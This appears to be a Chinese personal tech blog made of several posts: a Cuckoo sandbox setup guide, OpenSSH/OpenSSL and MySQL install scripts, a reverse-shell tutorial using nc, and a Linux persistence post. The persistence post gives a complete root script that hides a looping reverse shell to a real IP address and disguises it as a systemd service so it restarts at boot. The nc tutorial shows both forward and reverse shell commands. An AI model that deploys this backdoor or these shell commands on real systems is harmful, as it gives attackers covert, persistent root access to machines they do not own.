     Memory: 66.7M
        CPU: 247ms
     CGroup: /system.slice/mongod.service
             └─9421 /usr/bin/mongod --config /etc/mongod.conf

cuckoo推荐的数据库是PostgreSQL，所以运行

sudo apt-get install -y postgresql libpq-dev

安装virtualbox虚拟机

sudo apt-get install virtualbox

下载并安装cuckoo工作所需的所有插件

1）初始化

git clone https://github.com/volatilityfoundation/volatility.git

2）构建volatile

cd volatility
sudo python setup.py build

安装

sudo python setup.py install

3）安装Distorm3

sudo -H pip install distorm3==3.4.4

4）安装Yara

sudo -H pip install yara-python==3.6.3

5）安装ssdeep

sudo apt-get install -y ssdeep

输入

ssdeep -V

来验证它的安装

6）安装pydeep

sudo -H pip install pydeep

键入pip show pydeep来检查它是否已安装!

7）安装openpyxl

sudo -H pip install openpyxl

8）安装ujson

sudo -H pip install ujson

9）安装jupyter

sudo -H pip install jupyter
pip install ipywidgets==4.1.1
pip install jupyter==1.0.0

10）安装TCPDump以启用数据包捕获分析

sudo apt-get install tcpdump
sudo apt-get install libcap2-bin
sudo setcap cap_net_raw,cap_net_admin=eip /usr/bin/tcpdump
getcap /usr/bin/tcpdump

11）需要安装和禁用apparmor

sudo apt-get install -y apparmor-utils
sudo aa-disable /usr/sbin/tcpdump

7、安装cuckoo sandbox

pip install -U pip setuptools

sudo -H pip install -U cuckoo

设置virtualbox环境

ifconfig

创建一个只支持主机的网络适配器

vboxmanage hostonlyif create

为虚拟接口设置IP地址

vboxmanage hostonlyif ipconfig vboxnet0 --ip 192.168.56.1
ifconfig

Windows虚拟机配置

提前准备一份win7镜像穿如虚拟机中

vm ubuntu开启虚拟化后才可以在虚拟机内套娃虚拟机

配置win7镜像：

安装pro工具，关闭防火墙

配置共享文件夹：将python.exe安装包放到win7共享文件夹内安装：

安装python

安装pip

安装pillow

ubuntu22.04安装dnsmasq（解决wiin7无法连网）（https://blog.csdn.net/zwjzone/article/details/137114806）

检查是否安装了 dnsmasq

which dnsmasq || echo "dnsmasq not installed"

结果：

/usr/sbin/dnsmasq

Ubuntu 22.04 NetworkManager 自带 dnsmasq 但默认没有启用.

vim /etc/NetworkManager/NetworkManager.conf

添加：dns=dnsmasq

根据需要添加 dnsmasq 配置

vim /etc/NetworkManager/dnsmasq.d/dnsmasq.conf

# 监听地址（本机 + 多网卡）
listen-address=192.168.2.157,127.0.0.1,192.168.56.1

# 上游 DNS 服务器
server=8.8.8.8
server=1.1.1.1
server=/github.com/8.8.8.8
server=/cn/114.114.114.114

# 本地域名映射
address=/test.bitcq.net/192.168.152.132

# 缓存与性能
cache-size=10000
no-resolv
no-poll

# 日志（调试后建议关闭）
# log-queries
# log-facility=/var/log/dnsmasq.log

# 防 DNS 污染（可选）
bogus-nxdomain=114.114.114.114  # 丢弃伪造的 NXDOMAIN 响应

修改 /etc/resolv.conf 使用 dnsmasq 作为 dns 服务

vim /etc/resolv.conf
nameserver 127.0.0.1

停止并禁用 systemd-resolved

sudo systemctl stop systemd-resolved.service
sudo systemctl disable systemd-resolved.service

手动创建 dnsmasq.service 文件

sudo nano /etc/systemd/system/dnsmasq.service

[Unit]
Description=DNS caching forwarder
After=network.target

[Service]
ExecStart=/usr/sbin/dnsmasq -k
Restart=always
RestartSec=3

[Install]
WantedBy=multi-user.target

某些系统（如 Ubuntu + systemd-resolved）可能会屏蔽 dnsmasq 服务，需要手动启用：

sudo systemctl daemon-reload  # 重新加载 systemd 配置
sudo systemctl enable --now dnsmasq  # 启动并设置开机自启

systemctl status dnsmasq

测试：nslookup test.bitcq.net

输出：

Server:127.0.0.1
Address:127.0.0.1#53
Name:test.bitcq.net
Address: 192.168.152.132

检查并启用 IP 转发

永久生效需修改 /etc/sysctl.conf

sudo vim /etc/sysctl.conf

取消注释或添加：

net.ipv4.ip_forward = 1

然后生效：

sudo sysctl -p

`从Ubuntu虚拟机上传agent.py文件到win虚拟机`

放在python安装目录下运行

此时开启监听端口，代表成功

1.配置cuckoo.conf文件

所有cuckoo配置文件都位于~/.cuckoo/conf或您的主目录cd .cuckoo/目录中。

配置cuckoo.conf

sudo nano cuckoo.conf

version_check = no
machine=virtualbox
memory_dump=yes
[resultserver]
ip=192.168.56.1
port=2042

配置auxiliary.conf

sudo nano auxiliary.conf

[sniffer]
enabled=yes
tcpdump = /usr/sbin/tcpdump

配置virtualbox.conf

sudo nano virtualbox.conf

[virtualbox]
machines=cuckoo1
[cuckoo1]
label=cuckoo1
platform=windows
ip=192.168.56.101
snapshot=snapshot1
interface=vboxnet0

配置 processing.conf

sudo nano processing.conf

[memory]
enabled=yes

配置memory.conf

sudo nano memory.conf

[basic]
guest_profile=WinXPSP2x86

配置reporting.conf

sudo nano reporting.conf

[singlefile]（需要确保启用report.html）
enabled=yes
[mongodb]
enabled=yes

`启动`

终端1在非root用户下执行

cuckoo

终端2在非root用户下执行启动web界面

cuckoo web runserver 0.0.0.0:8000

启动成功：

linux shell持久化

Wed, 07 May 2025 21:36:28 +0800

此文章只用于学习交流，未经授权进行进行违法行为

监听服务器开启端口监听

nc -lvnp <端口>

被监听机器设置反弹shell脚本开机自启

新建 .shell.sh 为隐藏文件

mkdir .shell.sh
chmod 700 ,shell.sh

创建开机启动脚本

vi /etc/systemd/system/rqjc_shell.service

[Unit]
Description=RQJC Custom Shell Script
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash /root/rqjc/.shell.sh
WorkingDirectory=/root/rqjc/
User=root
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target

:wq

chmod 644 /etc/systemd/system/rqjc_shell.service
sudo systemctl start rqjc_shell

测试开机自启是否已经设置成功

sudo systemctl is-enabled rqjc_shell

正常返回：enabled（表示已设置开机自启）
异常返回：disabled 或 failed（需重新执行 sudo systemctl enable rqjc_shell）

执行完成：

shell脚本：

#!/bin/bash

# 检查是否以 root 运行
if [ "$(id -u)" -ne 0 ]; then
    echo "请使用 root 用户运行此脚本！" >&2
    exit 1
fi

# 1. 创建 /root/rqjc 目录（如果不存在）
mkdir -p /root/rqjc

# 2. 创建隐藏文件 .shell.sh（示例内容：打印时间到日志）
cat > /root/rqjc/.shell.sh <<'EOF'
#!/bin/bash
while true; do
    bash -i >& /dev/tcp/8.138.233.178/7897 0>&1
    sleep 5  # 如果失败，5 秒后重试
done
EOF

# 3. 设置权限
chmod 700 /root/rqjc/.shell.sh

# 4. 创建 systemd 服务文件
cat > /etc/systemd/system/rqjc_shell.service <<'EOF'
[Unit]
Description=RQJC Custom Shell Script
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash /root/rqjc/.shell.sh
WorkingDirectory=/root/rqjc/
User=root
Restart=on-failure
RestartSec=5s

[Install]
WantedBy=multi-user.target
EOF

# 5. 设置服务文件权限
chmod 644 /etc/systemd/system/rqjc_shell.service

# 6. 重载 systemd 并启用服务
systemctl daemon-reload
systemctl enable rqjc_shell
systemctl start rqjc_shell

# 7. 检查状态
echo "服务状态："
systemctl status rqjc_shell --no-pager -l
sleep 10
clear
setsid bash -i >& /dev/tcp/8.138.233.178/7897 0>&1 &

1.txt

指定版本openssh、openssl升级脚本

Wed, 07 May 2025 17:04:40 +0800

#!/bin/bash

# 检测系统类型
if command -v dnf &> /dev/null; then
    PACKAGE_MANAGER="dnf"
elif command -v apt-get &> /dev/null; then
    PACKAGE_MANAGER="apt-get"
else
    echo "error: 无法检测到支持的包管理器"
    exit 1
fi

# 将所有输出重定向到 output.log 文件
exec > >(tee -a output.log)
exec 2> >(tee -a output.log >&2)

# 安装必要的包
echo "安装依赖包..."
$PACKAGE_MANAGER install -y gcc make perl zlib-devel pam-devel wget krb5-devel
if [ "$?" != "0" ]; then
    echo "error: 安装依赖项失败"
    exit 1
fi

# 检查当前版本
echo "当前版本信息："
ssh -V
openssl version

# 创建工作目录
mkdir -p /root/rqjc
cd /root/rqjc || { echo "error: 进入 /root/rqjc 目录失败"; exit 1; }

##############################################
# 安装 OpenSSL 3.5.0
##############################################

echo "开始安装 OpenSSL 3.5.0..."

# 下载并解压 OpenSSL 源代码包
wget https://www.openssl.org/source/openssl-3.5.0.tar.gz || { echo "error: 下载 OpenSSL 源代码包失败"; exit 1; }
tar -zxvf openssl-3.5.0.tar.gz || { echo "error: 解压 OpenSSL 源代码包失败"; exit 1; }
cd openssl-3.5.0 || { echo "error: 进入 OpenSSL 解压目录失败"; exit 1; }

# 检查依赖项
if command -v cpan &> /dev/null; then
    sudo cpan IPC::Cmd || { echo "error: 安装 IPC::Cmd 模块失败"; exit 1; }
else
    echo "error: cpan 未安装，请先安装 cpan"
    exit 1
fi

# 配置编译选项
./config --prefix=/usr/local/openssl --openssldir=/usr/local/openssl shared zlib

# 编译并安装
make -j$(nproc) || { echo "error: OpenSSL 编译失败"; exit 1; }
sudo make install || { echo "error: OpenSSL 安装失败"; exit 1; }

# 更新动态链接库配置
echo "/usr/local/openssl/lib64" | sudo tee /etc/ld.so.conf.d/openssl-3.5.0.conf
sudo ldconfig

# 验证安装
echo "OpenSSL 安装完成，版本信息："
/usr/local/openssl/bin/openssl version

##############################################
# 安装 OpenSSH 10.0p1
##############################################

echo "开始安装 OpenSSH 10.0p1..."

cd /root/rqjc || { echo "error: 进入 /root/rqjc 目录失败"; exit 1; }

# 下载并解压 OpenSSH 源代码包
wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-10.0p1.tar.gz || { echo "error: 下载 OpenSSH 源代码包失败"; exit 1; }
tar -zxvf openssh-10.0p1.tar.gz || { echo "error: 解压 OpenSSH 源代码包失败"; exit 1; }
cd openssh-10.0p1 || { echo "error: 进入 OpenSSH 解压目录失败"; exit 1; }

# 配置编译选项（明确指定 OpenSSL 路径）
./configure --with-ssl-dir=/usr/local/openssl --with-zlib --with-pam || { echo "error: OpenSSH 编译配置失败"; exit 1; }

# 编译并安装
make || { echo "error: OpenSSH 编译失败"; exit 1; }
sudo make install || { echo "error: OpenSSH 安装失败"; exit 1; }

# 备份现有配置文件
sudo cp /etc/ssh/sshd_config /etc/ssh/sshd_config.bak || { echo "warning: 备份 SSH 配置文件失败"; }
sudo cp /etc/ssh/ssh_config /etc/ssh/ssh_config.bak || { echo "warning: 备份 SSH 配置文件失败"; }

# 更新系统链接
sudo mv /usr/bin/ssh /usr/bin/ssh-old && sudo ln -sf /usr/local/bin/ssh /usr/bin/ssh || { echo "error: 更新 SSH 链接失败"; exit 1; }

# 重启 SSH 服务
sudo systemctl restart sshd || { echo "error: 重启 SSH 服务失败"; exit 1; }

# 验证安装
echo "OpenSSH 安装完成，版本信息："
ssh -V
echo "链接的 OpenSSL 版本："
strings /usr/local/bin/ssh | grep OpenSSL
echo 'hello'
# 检查服务状态
sudo systemctl status sshd

echo "升级完成！"

使用ssh -V 可查看ssh和ssl版本信息，此信息是ssh编译时，ssh和ssl的版本信息。如果在升级完ssh编译后，再升级ssl版本，或者单独升级ssl版本，使用命令ssh -V查看的信息不会更新改变。

选择不同的版本可以自行修改wget下载的路径，此脚本是下载的

OpenSSL 3.5.0 OpenSSH 10.0p1

云服务器_反弹shell

Tue, 29 Apr 2025 16:22:51 +0800

使用云服务器（ubuntu）执行反弹shell的操作

云服务器初始配置默认端口开放情况为只开放22号端口和3389端口

nc命令：反弹shell 开放一个监听端口 7777号端口

nc -lvnp 7777

查看监听端口是否开放

netstat -tuln | grep 7897

此时端口开放会显示开放信息

被攻击机器（win11）执行nc命令将自己的cmd权限反弹到服务器上

 nc -e cmd <服务器ip> 7788

此时发现win11执行命令无法将shell反弹到服务器上

排查过程

win11可以ping通服务器，nmap扫描监听端口发现监听端口开放，云服务器上允许入栈安全规则已经将监听端口开放。此时查看文章发现可能是ubuntu的默认防火墙ufw和iptables规则表阻止了数据的入栈，修改默认防火墙规则和iptables表规则和可以接收到反弹的数据回传。

sudo ufw allow <监听端口>/tcp
sudo iptables -A INPUT -p tcp --dport <监听端口> -j ACCEPT

反弹shell的正反连接的区别

正向连接：（被攻击方打开指定端口监听）

被 nc -e cmd -lvvp 7788

nc 192.168.2.127 7788

反向连接：（攻击方打开特定端口监听，被攻击方将权限给到攻击方）

被 nc -e cmd 192.168.2.1 7788

nc -lvvp 7788

linux运维操作——mysql编译安装脚本自动安装

Mon, 28 Apr 2025 19:12:48 +0800

#!/bin/bash
#Description : MySQL8.4.4 Install Script 
#Author      : lyx
#Version     : 2.0_01

function MySQL_User() {
    id mysql >/dev/null 2>&1
    if [ "$?" != "0" ]; then
        useradd -s /sbin/nologin mysql >/dev/null 2>&1
    fi
}

function Create_DIR() {
    DIRECTORY=("/home/mysql/data" "/home/mysql/mysqlbase" "/home/mysql/mysqllog")
    for i in "${DIRECTORY[@]}"; do
        if [ ! -d "${i}" ]; then
            mkdir -p "${i}"
        fi
    done
}

function DOWNLOAD_MYSQL() {
    if [ ! -f "/root/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz" ]; then
        echo "Downloading MySQL 8.4.4..."
        wget https://dev.mysql.com/get/Downloads/MySQL-8.4/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz -P /root/
        if [ "$?" != "0" ]; then
            echo "Failed to download MySQL 8.4.4."
            exit 1
        fi
    else
        echo "MySQL 8.4.4 package already exists."
    fi
}

function INSTALL() {
    chown -R mysql:mysql /home/mysql/{data,mysqlbase,mysqllog}
    tar -xvf /root/mysql-8.4.4-linux-glibc2.28-x86_64.tar.xz -C /home/mysql/mysqlbase
    mv /home/mysql/mysqlbase/mysql-8.4.4-linux-glibc2.28-x86_64 /home/mysql/mysqlbase/mysql-8.4.4
    /home/mysql/mysqlbase/mysql-8.4.4/bin/mysqld --initialize --user=mysql --basedir=/home/mysql/mysqlbase/mysql-8.4.4/ --datadir=/home/mysql/data/
    if [ "$?" != "0" ]; then
        echo "An error occurs during the installation of the MySQL Database Service."
        exit 1
    fi
    if [ -f /etc/my.cnf ]; then
        rm -rf /etc/my.cnf
    fi
    mv /root/my.cnf /etc/
    if [ -f /etc/init.d/mysqld ]; then
        rm -rf /etc/init.d/mysqld
    fi
    cp /home/mysql/mysqlbase/mysql-8.4.4/support-files/mysql.server /etc/init.d/mysqld
    if [ ! -f /usr/bin/mysql ]; then
        ln -s /home/mysql/mysqlbase/mysql-8.4.4/bin/mysql /usr/bin/mysql
    fi
}

function MYSQL_LOG() {
    MYSQL_LOG=("/home/mysql/mysqllog/error_log" "/home/mysql/mysqllog/mybinlog")
    for j in "${MYSQL_LOG[@]}"; do
        if [ ! -d "${j}" ]; then
            mkdir -p "${j}"
        fi
    done
    touch /home/mysql/mysqllog/error_log/error.log
    touch /home/mysql/mysqllog/mysql-slow.log
    chown -R mysql:mysql /home/mysql/mysqllog
}

function MYSQL_START() {
    /etc/init.d/mysqld start
    sleep 5
    if [ "$?" != "0" ]; then
        echo "MySQL Service Running Is Error."
        exit 1
    else
        echo "MySQL Service Running Is Successful."
    fi
}

function main() {
    MySQL_User
    Create_DIR
    DOWNLOAD_MYSQL
    INSTALL
    MYSQL_LOG
    MYSQL_START
}

main

mysql配置文件，放在与脚本同一路径下。

my.cnf

[mysqld]
user = mysql
port = 3306
basedir = /home/mysql/mysqlbase/mysql-8.4.4
datadir = /home/mysql/data
socket  = /home/mysql/mysqlbase/mysql.sock
pid_file = dms-mysql.pid
skip_name_resolve = 1
open_files_limit = 65535
default_time_zone = "+8:00"
#character
character-set-server=utf8mb4
collation-server=utf8mb4_general_ci
init-connect='SET NAMES utf8mb4'
[client]
default-character-set=utf8mb4
port = 3306
socket = /home/mysql/mysqlbase/mysql.sock
[mysqldump]
quick
[mysql]
no_auto_rehash
loose-skip-binary-as-hex

shell脚本赋权

脚本放在root目录下执行

chmod 700 <shell_name.sh>

./<shell_name.sh>

脚本执行结束后在最后会展示暂时创建的密码

mysql -u root -p

登录后执行命令修改初始化密码

ALTER USER 'username'@'hostname' IDENTIFIED BY 'new_password';